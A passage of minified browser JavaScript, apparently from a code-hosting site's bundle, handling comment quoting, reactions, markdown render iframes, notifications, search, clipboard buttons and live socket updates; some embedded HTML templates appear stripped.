span.js-clear");for(const w of a)w.remove();let l=new Zo.p;if(!e&&l.range.collapsed||(i.hasAttribute("data-quote-markdown")&&(l=new Zo.I(i.getAttribute("data-quote-markdown")||"",w=>{const S=l.range.startContainer.parentElement,R=S&&S.closest("pre");if(R instanceof HTMLElement){const I=R.parentElement;if(I&&Jo(I)){const F=document.createElement("div");F.className=I.className,F.appendChild(w),w.appendChild(F)}}fa(w)})),bt&&o.contains(bt.anchorNode)?l.range=bt.range:l.range.collapsed&&l.select(o),l.closest(".js-quote-selection-container")!==i))return;const y=l.range;i.dispatchEvent(new CustomEvent("quote-selection",{bubbles:!0,detail:l})),l.range=y;for(const w of i.querySelectorAll("textarea"))if((0,le.Z)(w)){l.insert(w);break}n.querySelector(".js-comment-body").replaceWith(r)});let vn;document.addEventListener("selectionchange",(0,P.D)(function(){const e=window.getSelection();let t;try{t=e.getRangeAt(0)}catch{vn=null;return}vn={anchorNode:e.anchorNode,range:t}},100)),document.addEventListener("toggle",()=>{bt=vn},{capture:!0});const ma=new ResizeObserver(e=>{for(const t of e)t.contentRect.height>26&&ha(t.target)});(0,u.N7)(".js-reactions-container",function(e){ma.observe(e)});function ha(e){const t=e.offsetWidth*.8,n=e.querySelectorAll(".js-reaction-group-button"),o=e.querySelector(".js-all-reactions-popover");let r=0;for(const i of n)r+=i.clientWidth;if(r+=(o==null?void 0:o.clientWidth)||0,ti?a.setAttribute("hidden","hidden"):a.removeAttribute("hidden"),i-=l}}}s(ha,"hideReactionOverflow"),(0,C.AC)(".js-pick-reaction",async function(e,t){const n=await t.json(),o=e.closest(".js-comment"),r=o.querySelector(".js-reactions-container"),i=o.querySelector(".js-comment-header-reaction-button"),a=(0,q.r)(document,n.json.reactions_container.trim()),l=(0,q.r)(document,n.json.comment_header_reaction_button.trim());r.replaceWith(a),i.replaceWith(l)});function Yo(e){const t=e.target,n=t.getAttribute("data-reaction-label"),r=t.closest(".js-add-reaction-popover").querySelector(".js-reaction-description");r.hasAttribute("data-default-text")||r.setAttribute("data-default-text",r.textContent||""),r.textContent=n}s(Yo,"showReactionContent");function er(e){const n=e.target.closest(".js-add-reaction-popover").querySelector(".js-reaction-description"),o=n.getAttribute("data-default-text");o&&(n.textContent=o)}s(er,"hideReactionContent"),(0,c.on)("toggle",".js-reaction-popover-container",function(e){const t=e.currentTarget.hasAttribute("open");for(const n of e.target.querySelectorAll(".js-reaction-option-item"))t?(n.addEventListener("mouseenter",Yo),n.addEventListener("mouseleave",er)):(n.removeEventListener("mouseenter",Yo),n.removeEventListener("mouseleave",er))},{capture:!0});var wn=f(2061);function pa(e,t,n){e.getAttribute("data-type")==="json"&&n.headers.set("Accept","application/json"),(0,c.f)(e,"deprecatedAjaxSend",{request:n}),t.text().catch(r=>{if(r.response)return r.response;throw r}).then(r=>{r.status<300?(0,c.f)(e,"deprecatedAjaxSuccess"):(0,c.f)(e,"deprecatedAjaxError",{error:r.statusText,status:r.status,text:r.text})},r=>{(0,c.f)(e,"deprecatedAjaxError",{error:r.message,status:0,text:null})}).then(()=>{(0,c.f)(e,"deprecatedAjaxComplete")})}s(pa,"submitWithLegacyEvents"),(0,c.on)("click",["form button:not([type])","form button[type=submit]","form input[type=submit]"].join(", "),function(e){const t=e.currentTarget;t.form&&!e.defaultPrevented&&(0,wn.j)(t)}),(0,C.AC)("form[data-remote]",pa),(0,c.on)("deprecatedAjaxComplete","form",function({currentTarget:e}){const t=(0,wn.u)(e);t&&t.remove()}),(0,C.uT)(e=>{const t=(0,wn.u)(e);t&&t.remove()}),(0,C.rK)(en.Z),(0,u.N7)(".has-removed-contents",function(){let e;return{add(t){e=Array.from(t.childNodes);for(const o of e)t.removeChild(o);const n=t.closest("form");n&&(0,c.f)(n,"change")},remove(t){for(const o of e)t.appendChild(o);const n=t.closest("form");n&&(0,c.f)(n,"change")}}});var fe=f(36162),ga=(e=>(e.Auto="auto",e.Light="light",e.Dark="dark",e))(ga||{});function ba(){return window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light"}s(ba,"getUserSystemColorMode");const En=".js-render-plaintext";function ya(e){const t=e.closest(".js-render-needs-enrichment");if(!t)return;t.querySelector(En)&&Ln(t,!1)}s(ya,"markdownEnrichmentSuccess");function va(e,t){Ln(e,!1),tr(e,!0),e.classList.add("render-error");const n=e.querySelector(En);if(!n)return;n.classList.remove("render-plaintext-hidden");const o=n.querySelector("pre");(0,fe.sY)(fe.dy`${t} ${o}`,n)}s(va,"showMarkdownRenderError");function Ln(e,t){const n=e.getElementsByClassName("js-render-enrichment-loader")[0],o=e.getElementsByClassName("render-expand")[0];n&&(n.hidden=!t),o&&(o.hidden=t)}s(Ln,"setCodeBlockLoaderVisibility");function tr(e,t){const n=e.querySelector(En);t?n.classList.remove("render-plaintext-hidden"):n.classList.add("render-plaintext-hidden")}s(tr,"setRawCodeBlockVisibility");class nr{constructor(t){this.el=t,this.enrichmentTarget=t.getElementsByClassName("js-render-enrichment-target")[0],this.iframeUrl=this.getIframeUrl(),this.identifier=this.el.getAttribute("data-identity"),this.iframeContentType=this.el.getAttribute("data-type"),this.iframeOrigin=new URL(this.iframeUrl,window.location.origin).origin,this.iframeContent=this.el.getAttribute("data-content"),Ln(this.el,!0)}enrich(){const t=this.createDialog();(0,fe.sY)(t,this.enrichmentTarget),this.setupModal()}getIframeUrl(){const t=(0,U.c)("GEOJSON_AZURE_MAPS"),n=this.el.getAttribute("data-src"),o=this.el.getAttribute("data-enterprise"),r={...this.colorMode(),azure_maps_enabled:t,enterprise_enable:o},i=Object.entries(r).map(([a,l])=>`${a}=${l}`).join("&");return`${n}?${i}`}colorMode(){var t;let n=(t=document.querySelector("html"))==null?void 0:t.getAttribute("data-color-mode");return(n==="auto"||!n)&&(n=ba()),{color_mode:n}}setupModal(){const t=this.generateIframeCode("-fullscreen"),n=this.el.querySelector(".Box-body");this.el.querySelector(".js-full-screen-render").addEventListener("click",()=>{(0,fe.sY)(t,n)})}createDialog(){const t=this.generateIframeCode();return fe.dy`
+
+ + +
+ +
+
+
+
+ ${t} +
`}generateIframeCode(t=""){const n=this.identifier+t,o=`${this.iframeUrl}#${n}`;return fe.dy` +
+ +
+ `}}s(nr,"EnrichableMarkdownRenderer"),(0,u.N7)(".js-render-needs-enrichment",function(e){const t=e;new nr(t).enrich()}),(0,c.on)("preview:toggle:off",".js-previewable-comment-form",function(e){const n=e.currentTarget.querySelector(".js-render-needs-enrichment"),o=n==null?void 0:n.querySelector(".js-render-enrichment-target");!o||(o.innerHTML="")}),(0,c.on)("preview:rendered",".js-previewable-comment-form",function(e){const n=e.currentTarget.querySelector(".js-render-needs-enrichment");n&&tr(n,!1)});const cu=null,yt=["is-render-pending","is-render-ready","is-render-loading","is-render-loaded"],wa=["is-render-ready","is-render-loading","is-render-loaded","is-render-failed","is-render-failed-fatally"],Ue=new WeakMap;function or(e){const t=Ue.get(e);t!=null&&(t.load=t.hello=null,t.helloTimer&&(clearTimeout(t.helloTimer),t.helloTimer=null),t.loadTimer&&(clearTimeout(t.loadTimer),t.loadTimer=null))}s(or,"resetTiming");function Je(e,t=""){var n;e.classList.remove(...yt),e.classList.add("is-render-failed");const o=La(t),r=(n=e.parentElement)==null?void 0:n.closest(".js-render-needs-enrichment");r?va(r,o):Ea(e,o),or(e)}s(Je,"renderFailed");function Ea(e,t){const n=e.querySelector(".render-viewer-error");n&&(n.remove(),e.classList.remove("render-container"),(0,fe.sY)(t,e))}s(Ea,"fileRenderError");function La(e){let t=fe.dy`

Unable to render code block

`;if(e!==""){const n=e.split(` +`);t=fe.dy`

Error rendering embedded code

+

${n.map(o=>fe.dy`${o}
`)}

`}return fe.dy`
${t}
`}s(La,"renderError");function rr(e,t=!1){var n;!(0,le.Z)(e)||e.classList.contains("is-render-ready")||e.classList.contains("is-render-failed")||e.classList.contains("is-render-failed-fatally")||t&&!((n=Ue.get(e))==null?void 0:n.hello)||Je(e)}s(rr,"timeoutWatchdog"),(0,u.N7)(".js-render-target",function(e){var t;const n=e;n.classList.remove(...wa),n.style.height="auto",!((t=Ue.get(e))==null?void 0:t.load)&&(or(e),!Ue.get(e)&&(Ue.set(e,{load:Date.now(),hello:null,helloTimer:window.setTimeout(rr,1e4,e,!0),loadTimer:window.setTimeout(rr,45e3,e)}),e.classList.add("is-render-automatic","is-render-requested")))});function vt(e,t){e&&e.postMessage&&e.postMessage(JSON.stringify(t),"*")}s(vt,"postAsJson");function ja(e){let t=e.data;if(!t)return;if(typeof t=="string")try{t=JSON.parse(t)}catch{return}if(t.type!=="render"||typeof t.identity!="string")return;const n=t.identity;if(typeof t.body!="string")return;const o=t.body;let r=null;for(const w of document.querySelectorAll(".js-render-target"))if(w.getAttribute("data-identity")===n){r=w;break}if(!r||e.origin!==r.getAttribute("data-host"))return;const i=t.payload!=null?t.payload:void 0,a=r.querySelector("iframe"),l=a==null?void 0:a.contentWindow;function y(){const w=a==null?void 0:a.getAttribute("data-content");if(!w)return;const S={type:"render:cmd",body:{cmd:"code_rendering_service:data:ready","code_rendering_service:data:ready":{data:JSON.parse(w).data,width:r==null?void 0:r.getBoundingClientRect().width}}};vt(l,S)}switch(s(y,"postData"),o){case"hello":{const w=Ue.get(r)||{untimed:!0};w.hello=Date.now();const S={type:"render:cmd",body:{cmd:"ack",ack:!0}},R={type:"render:cmd",body:{cmd:"branding",branding:!1}};if(!l)return;vt(l,S),vt(l,R)}break;case"error":i?Je(r,i.error):Je(r);break;case"error:fatal":{Je(r),r.classList.add("is-render-failed-fatal");break}case"error:invalid":Je(r),r.classList.add("is-render-failed-invalid");break;case"loading":r.classList.remove(...yt),r.classList.add("is-render-loading");break;case"loaded":r.classList.remove(...yt),r.classList.add("is-render-loaded");break;case"ready":ya(r),r.classList.remove(...yt),r.classList.add("is-render-ready"),i&&typeof i.height=="number"&&(r.style.height=`${i.height}px`,location.hash!==""&&window.dispatchEvent(new HashChangeEvent("hashchange")));break;case"resize":i&&typeof i.height=="number"&&(r.style.height=`${i.height}px`);break;case"code_rendering_service:container:get_size":vt(l,{type:"render:cmd",body:{cmd:"code_rendering_service:container:size","code_rendering_service:container:size":{width:r==null?void 0:r.getBoundingClientRect().width}}});break;case"code_rendering_service:markdown:get_data":if(!l)return;y();break;default:break}}s(ja,"handleMessage"),window.addEventListener("message",ja),(0,C.AC)("form[data-replace-remote-form]",async function(e,t){e.classList.remove("is-error"),e.classList.add("is-loading");try{let n=e;const o=await t.html(),r=e.closest("[data-replace-remote-form-target]");if(r){const i=r.getAttribute("data-replace-remote-form-target");n=i?document.getElementById(i):r}n.replaceWith(o.html)}catch{e.classList.remove("is-loading"),e.classList.add("is-error")}}),PerformanceObserver&&(PerformanceObserver.supportedEntryTypes||[]).includes("longtask")&&new PerformanceObserver(function(t){const n=t.getEntries().map(({name:o,duration:r})=>({name:o,duration:r,url:window.location.href}));(0,he.b)({longTasks:n})}).observe({entryTypes:["longtask"]});const sr=new WeakMap;function Sa(e){return e.closest("markdown-toolbar").field}s(Sa,"getTextarea"),(0,c.on)("click",".js-markdown-link-button",async function({currentTarget:e}){const n=document.querySelector(".js-markdown-link-dialog").content.cloneNode(!0);if(!(n instanceof DocumentFragment))return;const o=await(0,Te.W)({content:n,labelledBy:"box-title"});e instanceof HTMLElement&&sr.set(o,Sa(e).selectionEnd)}),(0,c.on)("click",".js-markdown-link-insert",({currentTarget:e})=>{const t=e.closest("details-dialog"),n=document.querySelector(`#${e.getAttribute("data-for-textarea")}`),o=sr.get(t)||0,r=t.querySelector("#js-dialog-link-href").value,a=`[${t.querySelector("#js-dialog-link-text").value}](${r}) `,l=n.value.slice(0,o),y=n.value.slice(o);n.value=l+a+y,n.focus(),n.selectionStart=n.selectionEnd=o+a.length});var lu=f(17300);(0,c.on)("details-menu-select",".js-saved-reply-menu",function(e){if(!(e.target instanceof Element))return;const t=e.detail.relatedTarget.querySelector(".js-saved-reply-body");if(!t)return;const n=(t.textContent||"").trim(),r=e.target.closest(".js-previewable-comment-form").querySelector("textarea.js-comment-field");(0,Ee.Om)(r,n),setTimeout(()=>r.focus(),0)},{capture:!0}),(0,j.w4)("keydown",".js-saved-reply-shortcut-comment-field",function(e){(0,$e.EL)(e)==="Control+."&&(e.target.closest(".js-previewable-comment-form").querySelector(".js-saved-reply-container").setAttribute("open",""),e.preventDefault())}),(0,j.w4)("keydown",".js-saved-reply-filter-input",function(e){if(/^Control\+[1-9]$/.test((0,$e.EL)(e))){const n=e.target.closest(".js-saved-reply-container").querySelectorAll('[role="menuitem"]'),o=Number(e.key),r=n[o-1];r instanceof HTMLElement&&(r.click(),e.preventDefault())}else if(e.key==="Enter"){const n=e.target.closest(".js-saved-reply-container").querySelectorAll('[role="menuitem"]');n.length>0&&n[0]instanceof HTMLButtonElement&&n[0].click(),e.preventDefault()}});var Ta=f(29790),Aa=f(19218);function Ca(e,t){return e.querySelector(`#LC${t}`)}s(Ca,"queryLineElement");function wt(e,t,n,o){const r=(0,Ta.M9)(e,l=>Ca(t,l));if(!r)return;if(n){const l=(0,Ee.yb)(r.startContainer.textContent,r.startOffset);if(l===-1)return;r.setStart(r.startContainer,l)}if(o){const l=(0,Ee.yb)(r.endContainer.textContent,r.endOffset);if(l===-1)return;r.setEnd(r.endContainer,l)}const i=document.createElement("span"),a=["text-bold","hx_keyword-hl","rounded-2","d-inline-block"];i.classList.add(...a),(0,Aa.v)(r,i)}s(wt,"highlightRange");function ka(e,t){if(e.start.line!==e.end.line){const n={start:{line:e.start.line,column:e.start.column},end:{line:e.start.line,column:null}};wt(n,t,!0,!1);for(let r=e.start.line+1;r=0;o?n.setAttribute("aria-current","page"):n.removeAttribute("aria-current"),n.classList.toggle("selected",o)}}s(jn,"updateSelectedRepoTab"),document.addEventListener("pjax:end",jn),document.addEventListener(Se.QE.FRAME_UPDATE,jn),document.addEventListener(Se.QE.SUCCESS,jn);var ir=f(11190),Ra=f(27034),_a=f(32904);async function Pa(){return(0,C.AC)(".js-notification-shelf .js-notification-action form",async function(e,t){if(e.hasAttribute("data-redirect-to-inbox-on-submit")){await ar(t);const o=document.querySelector(".js-notifications-back-to-inbox");o&&o.click();return}(0,_a.a)(e,e),await ar(t)})}s(Pa,"remoteShelfActionForm");function Ia(){const e=new URLSearchParams(window.location.search),t=(0,ir.n)(e);if(t){const n=new URL(window.location.href,window.location.origin);return n.search=t.toString(),n.toString()}}s(Ia,"urlWithoutNotificationParameters");function Da(e){if(!(e instanceof Ra.Z))return;const t=(0,ir.I)();if(!t)return;const n=e.getAttribute("data-base-src");if(!n)return;const o=new URL(n,window.location.origin),r=new URLSearchParams(o.search);for(const[i,a]of Object.entries(t))typeof a=="string"&&r.set(i,a);o.search=r.toString(),e.setAttribute("src",o.toString())}s(Da,"loadShelfFromStoredParams");async function ar(e){try{await e.text()}catch{}}s(ar,"performRequest"),Pa();function cr(){const e=Ia();e&&(0,E.lO)(null,"",e)}s(cr,"removeNotificationParams"),cr(),document.addEventListener(Se.QE.SUCCESS,cr),(0,u.N7)(".js-notification-shelf-include-fragment",Da),(0,c.on)("submit",".js-mark-notification-form",async function(e){const t=e.currentTarget;e.preventDefault();try{await fetch(t.action,{method:t.method,body:new FormData(t),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}});async function lr(){await me.C;const e=document.querySelector(".js-mark-notification-form");e instanceof HTMLFormElement&&(0,L.Bt)(e)}s(lr,"markNotificationAsRead"),document.addEventListener(Se.QE.SUCCESS,lr),lr();function Ha(e){return!!e.closest(".js-jump-to-field")}s(Ha,"isJumpToAvailable");function Sn(e,t){if(Ha(e))return;const n=document.querySelector(".js-site-search-form");document.querySelector(".js-site-search").classList.toggle("scoped-search",t);let o,r;t?(o=n.getAttribute("data-scoped-search-url"),r=e.getAttribute("data-scoped-placeholder")):(o=n.getAttribute("data-unscoped-search-url"),r=e.getAttribute("data-unscoped-placeholder")),n.setAttribute("action",o),e.setAttribute("placeholder",r)}s(Sn,"toggleSearchScope"),(0,j.w4)("keyup",".js-site-search-field",function(e){const t=e.target,n=t.value.length===0;n&&e.key==="Backspace"&&t.classList.contains("is-clearable")&&Sn(t,!1),n&&e.key==="Escape"&&Sn(t,!0),t.classList.toggle("is-clearable",n)}),(0,j.ZG)(".js-site-search-focus",function(e){const t=e.closest(".js-chromeless-input-container");t.classList.add("focus");function n(){t.classList.remove("focus"),e.value.length===0&&e.classList.contains("js-site-search-field")&&Sn(e,!0),e.removeEventListener("blur",n)}s(n,"blurHandler"),e.addEventListener("blur",n)}),(0,c.on)("submit",".js-site-search-form",function(e){if(!(e.target instanceof Element))return;const t=e.target.querySelector(".js-site-search-type-field");t.value=new URLSearchParams(window.location.search).get("type")||""});var Oa=f(54430);(0,u.N7)("textarea.js-size-to-fit",{constructor:HTMLTextAreaElement,subscribe:Oa.Z});var Tn=f(61161);(0,c.on)("click",".js-smoothscroll-anchor",function(e){const t=e.currentTarget;if(!(t instanceof HTMLAnchorElement))return;const n=(0,Tn.Kt)(document,t.hash);!n||(n.focus(),n.scrollIntoView({behavior:"smooth"}),e.preventDefault())});const Na=1e3,ur=new WeakMap,dr=document.querySelector("#snippet-clipboard-copy-button");async function Ba(e,t){const n=e.getAttribute("data-snippet-clipboard-copy-content");if(n===null||(e.removeAttribute("data-snippet-clipboard-copy-content"),!(dr instanceof HTMLTemplateElement)))return;const r=dr.content.cloneNode(!0).children[0];if(!(r instanceof HTMLElement))return;const i=r.children[0];if(!(i instanceof HTMLElement))return;i.setAttribute("value",n),document.addEventListener("selectionchange",()=>{const l=document.getSelection();if(l&&e.contains(l.anchorNode)){const y=l==null?void 0:l.toString();i.style.display=y.trim()===""?"inherit":"none"}},{signal:t});const a=e.querySelector("pre");if(a!==null){let l;a.addEventListener("scroll",()=>{l&&clearTimeout(l),i.style.display="none",l=setTimeout(()=>{i.style.display="inherit"},Na)},{signal:t})}e.appendChild(r)}s(Ba,"insertSnippetClipboardCopyButton"),(0,u.N7)("[data-snippet-clipboard-copy-content]",{constructor:HTMLElement,add(e){if(e.parentElement&&e.parentElement.classList.contains("js-no-snippet-clipboard-copy"))return;const t=new AbortController;ur.set(e,t),Ba(e,t.signal)}}),(0,u.N7)(".snippet-clipboard-content clipboard-copy",{constructor:HTMLElement,remove(e){const t=ur.get(e);t&&t.abort()}});function fr(e,t,n){mr(e,t),n&&e.classList.toggle("on");const o=Array.from(e.querySelectorAll(".js-social-updatable"),Me.x0);return Promise.all(o)}s(fr,"handleSocialResponse"),(0,C.AC)(".js-social-form",async function(e,t){var n,o;let r;const i=e.closest(".js-social-container"),a=e.classList.contains("js-deferred-toggler-target");try{r=await t.json(),i&&await fr(i,r.json.count,a)}catch(l){if(((n=l.response)==null?void 0:n.status)===409&&l.response.json.confirmationDialog){const y=l.response.json.confirmationDialog,w=document.querySelector(y.templateSelector),S=(o=e.querySelector(".js-confirm-csrf-token"))==null?void 0:o.value;if(w instanceof HTMLTemplateElement&&S){const R=new lt.R(w,{confirmUrl:e.action,confirmCsrfToken:S,...y.inputs||{}}),I=await(0,Te.W)({content:R});I.addEventListener("social-confirmation-form:success",async F=>{F instanceof CustomEvent&&i&&await fr(i,F.detail.count,a)}),I.addEventListener("social-confirmation-form:error",()=>{(0,T.v)()})}}else i&&!a&&i.classList.toggle("on"),(0,T.v)()}}),(0,C.AC)(".js-social-confirmation-form",async function(e,t){try{const n=await t.json();(0,c.f)(e,"social-confirmation-form:success",n.json)}catch{(0,c.f)(e,"social-confirmation-form:error")}});function mr(e,t){for(const n of e.querySelectorAll(".js-social-count")){n.textContent=t;const o=n.getAttribute("data-singular-suffix"),r=n.getAttribute("data-plural-suffix"),i=t==="1"?o:r;i&&n.setAttribute("aria-label",`${t} ${i}`)}}s(mr,"updateSocialCounts");var _e=f(21461);class hr extends _e.a2{constructor(t,n,o,r){super(t,()=>this.getUrlFromRefreshUrl(),o,r);this.refreshUrl=n}getUrlFromRefreshUrl(){return $a(this.refreshUrl)}}s(hr,"AliveSession");async function $a(e){const t=await Fa(e);return t&&t.url&&t.token?Ua(t.url,t.token):null}s($a,"fetchRefreshUrl");async function Fa(e){const t=await fetch(e,{headers:{Accept:"application/json"}});if(t.ok)return t.json();if(t.status===404)return null;throw new Error("fetch error")}s(Fa,"fetchJSON");async function Ua(e,t){const n=await fetch(e,{method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}});if(n.ok)return n.text();throw new Error("fetch error")}s(Ua,"post");const Et=[],Wa=3e4,za=0;let Lt=document.hidden,jt;function Ka(e){return e(Lt),Et.push(e),new M.w0(()=>{const t=Et.indexOf(e);t!==-1&&Et.splice(t,1)})}s(Ka,"addIdleStateListener"),document.addEventListener("visibilitychange",()=>{const e=document.hidden;jt!==void 0&&clearTimeout(jt),jt=setTimeout(()=>{if(e!==Lt){Lt=e,jt=void 0;for(const n of Et)n(Lt)}},e?Wa:za)});function Va(){return"SharedWorker"in window&&(0,$o.Z)("localStorage").getItem("bypassSharedWorker")!=="true"}s(Va,"isSharedWorkerSupported");function Xa(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket-src]"))==null?void 0:e.href)!=null?t:null}s(Xa,"workerSrc");function Ga(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.href)!=null?t:null}s(Ga,"socketUrl");function Za(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.getAttribute("data-refresh-url"))!=null?t:null}s(Za,"socketRefreshUrl");function Ja(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.getAttribute("data-session-id"))!=null?t:null}s(Ja,"sessionIdentifier");function Qa(e){return pr(e).map(t=>({subscriber:e,topic:t}))}s(Qa,"subscriptions");function pr(e){return(e.getAttribute("data-channel")||"").trim().split(/\s+/).map(_e.Zf.parse).filter(Ya)}s(pr,"channels");function Ya(e){return e!=null}s(Ya,"isPresent");function gr(e,{channel:t,type:n,data:o}){for(const r of e)r.dispatchEvent(new CustomEvent(`socket:${n}`,{bubbles:!1,cancelable:!1,detail:{name:t,data:o}}))}s(gr,"notify");class br{constructor(t,n,o,r,i){this.subscriptions=new _e.vk,this.presenceMetadata=new _e.ah,this.notifyPresenceDebouncedByChannel=new Map,this.notify=i,this.worker=new SharedWorker(t,`github-socket-worker-v2-${r}`),this.worker.port.onmessage=({data:a})=>this.receive(a),this.worker.port.postMessage({connect:{url:n,refreshUrl:o}})}subscribe(t){const n=this.subscriptions.add(...t);n.length&&this.worker.port.postMessage({subscribe:n});const o=new Set(n.map(i=>i.name)),r=t.reduce((i,a)=>{const l=a.topic.name;return(0,_e.A)(l)&&!o.has(l)&&i.add(l),i},new Set);r.size&&this.worker.port.postMessage({requestPresence:Array.from(r)})}unsubscribeAll(...t){const n=this.subscriptions.drain(...t);n.length&&this.worker.port.postMessage({unsubscribe:n});const o=this.presenceMetadata.removeSubscribers(t);this.sendPresenceMetadataUpdate(o)}updatePresenceMetadata(t){const n=new Set;for(const o of t)this.presenceMetadata.setMetadata(o),n.add(o.channelName);this.sendPresenceMetadataUpdate(n)}sendPresenceMetadataUpdate(t){if(!t.size)return;const n=[];for(const o of t)n.push({channelName:o,metadata:this.presenceMetadata.getChannelMetadata(o)});this.worker.port.postMessage({updatePresenceMetadata:n})}online(){this.worker.port.postMessage({online:!0})}offline(){this.worker.port.postMessage({online:!1})}hangup(){this.worker.port.postMessage({hangup:!0})}receive(t){const{channel:n}=t;if(t.type==="presence"){let o=this.notifyPresenceDebouncedByChannel.get(n);o||(o=(0,P.D)((r,i)=>{this.notify(r,i),this.notifyPresenceDebouncedByChannel.delete(n)},100),this.notifyPresenceDebouncedByChannel.set(n,o)),o(this.subscriptions.subscribers(n),t);return}this.notify(this.subscriptions.subscribers(n),t)}}s(br,"AliveSessionProxy");function ec(){const e=Xa();if(!e)return;const t=Ga();if(!t)return;const n=Za();if(!n)return;const o=Ja();if(!o)return;const i=s(()=>{if(Va())try{return new br(e,t,n,o,gr)}catch{}return new hr(t,n,!1,gr)},"createSession")(),a=(0,k.g)(w=>i.subscribe(w.flat())),l=(0,k.g)(w=>i.unsubscribeAll(...w)),y=(0,k.g)(w=>i.updatePresenceMetadata(w));(0,u.N7)(".js-socket-channel[data-channel]",{subscribe:w=>{const S=Qa(w),R=S.map(F=>F.topic.name).filter(F=>(0,_e.A)(F));let I={unsubscribe(){}};if(R.length){let F,X;const oe=s(()=>{const Q=[];F&&Q.push(F),X!==void 0&&Q.push({[_e.ZE]:X?1:0});for(const se of R)y({subscriber:w,channelName:se,metadata:Q})},"queueMetadataOrIdleChange");I=(0,M.qC)((0,M.RB)(w,"socket:set-presence-metadata",Q=>{const{detail:se}=Q;F=se,oe()}),Ka(Q=>{!(0,U.c)("PRESENCE_IDLE")||(X=Q,oe())}))}return a(S),I},remove:w=>l(w)}),window.addEventListener("online",()=>i.online()),window.addEventListener("offline",()=>i.offline()),window.addEventListener("pagehide",()=>{"hangup"in i&&i.hangup()})}s(ec,"connect"),(async()=>(await me.x,ec()))();const yr=new Map;function tc(e,t){const n=[];for(const o of e){const r=yr.get(o.name);r&&r.arrived>t&&n.push(r)}return n}s(tc,"stale");function nc(e,t){for(const n of e.querySelectorAll(".js-socket-channel[data-channel]"))for(const o of tc(pr(n),t))n.dispatchEvent(new CustomEvent("socket:message",{bubbles:!1,cancelable:!1,detail:{name:o.name,data:o.data,cached:!0}}))}s(nc,"dispatch");function oc(e){const{name:t,data:n,cached:o}=e.detail;if(o)return;const r={name:t,data:{...n},arrived:Date.now()};r.data.wait=0,yr.set(t,r)}s(oc,"store"),document.addEventListener("socket:message",oc,{capture:!0}),document.addEventListener("pjax:popstate",function(e){const t=e.target,n=e.detail.cachedAt;n&&setTimeout(()=>nc(t,n))}),(0,u.N7)("form.js-auto-replay-enforced-sso-request",{constructor:HTMLFormElement,initialize(e){(0,L.Bt)(e)}});var uu=f(41928);function vr(e,t,n){const o=e.getBoundingClientRect().height,r=t.getBoundingClientRect(),i=n.getBoundingClientRect();let a=i.top;a+r.height+10>=o&&(a=Math.max(o-r.height-10,0));let l=i.right;n.closest(".js-build-status-to-the-left")!=null&&(l=Math.max(i.left-r.width-10,0)),t.style.top=`${a}px`,t.style.left=`${l}px`,t.style.right="auto"}s(vr,"updateStatusPosition"),(0,c.on)("toggle",".js-build-status .js-dropdown-details",function(e){const t=e.currentTarget,n=t.querySelector(".js-status-dropdown-menu");if(!n)return;function o(){t.hasAttribute("open")||i()}s(o,"closeOnToggle");function r(a){n.contains(a.target)||i()}s(r,"closeOnScroll");function i(){t.removeAttribute("open"),n.classList.add("d-none"),t.appendChild(n),t.removeEventListener("toggle",o),window.removeEventListener("scroll",r)}s(i,"closeStatusPopover"),t.addEventListener("toggle",o),n.classList.contains("js-close-menu-on-scroll")&&window.addEventListener("scroll",r,{capture:!0}),n.classList.remove("d-none"),n.querySelector(".js-details-container").classList.add("open"),n.classList.contains("js-append-menu-to-body")&&(document.body.appendChild(n),vr(document.body,n,t))},{capture:!0});async function wr(e){const t=e.querySelector(".js-dropdown-details"),n=e.querySelector(".js-status-dropdown-menu")||e.closest(".js-status-dropdown-menu");if(!(n instanceof HTMLElement))return;const o=n.querySelector(".js-status-loader");if(!o)return;const r=n.querySelector(".js-status-loading"),i=n.querySelector(".js-status-error"),a=o.getAttribute("data-contents-url");r.classList.remove("d-none"),i.classList.add("d-none");let l;try{await(0,en.Z)(),l=await(0,pe.a)(document,a)}catch{r.classList.add("d-none"),i.classList.remove("d-none")}l&&(o.replaceWith(l),n.querySelector(".js-details-container").classList.add("open"),t&&n.classList.contains("js-append-menu-to-body")&&vr(document.body,n,t))}s(wr,"loadStatus"),(0,c.on)("click",".js-status-retry",({currentTarget:e})=>{wr(e)});function Er(e){const t=e.currentTarget;wr(t)}s(Er,"onMouseEnter"),(0,u.N7)(".js-build-status",{add(e){e.addEventListener("mouseenter",Er,{once:!0})},remove(e){e.removeEventListener("mouseenter",Er)}});var du=f(55898),rc=f(82841);(0,c.on)("click","button[data-sudo-required], summary[data-sudo-required]",Lr),(0,u.N7)("form[data-sudo-required]",{constructor:HTMLFormElement,subscribe:e=>(0,M.RB)(e,"submit",Lr)});async function Lr(e){const t=e.currentTarget;if(!(t instanceof HTMLElement))return;e.stopPropagation(),e.preventDefault(),await(0,rc.Z)()&&(t.removeAttribute("data-sudo-required"),t instanceof HTMLFormElement?(0,L.Bt)(t):t.click())}s(Lr,"checkSudo");const jr={"actor:":"ul.js-user-suggestions","user:":"ul.js-user-suggestions","operation:":"ul.js-operation-suggestions","org:":"ul.js-org-suggestions","action:":"ul.js-action-suggestions","repo:":"ul.js-repo-suggestions","country:":"ul.js-country-suggestions"};(0,u.N7)("text-expander[data-audit-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"text-expander-change",ic),(0,M.RB)(e,"text-expander-value",sc))});function sc(e){const t=e.detail;if(!Sr(t.key))return;const n=t.item.getAttribute("data-value");t.value=`${t.key}${n}`}s(sc,"onvalue");function ic(e){const{key:t,provide:n,text:o}=e.detail;if(!Sr(t))return;const i=e.target.getAttribute("data-audit-url");n(lc(i,t,o))}s(ic,"onchange");function ac(e,t){const n=t.toLowerCase(),o=s(r=>{const i=r.textContent.toLowerCase().trim(),a=(0,ge.EW)(i,n);return a>0?{score:a,text:i}:null},"key");return n?(0,Ge.W)(e,o,ge.qu):e}s(ac,"search");const cc=(0,qe.Z)(e=>[...e.children],{hash:e=>e.className});async function lc(e,t,n){const r=(await fc(e)).querySelector(uc(t));if(!r)return{matched:!1};const i=ac(cc(r),n).slice(0,5),a=r.cloneNode(!1);a.innerHTML="";for(const l of 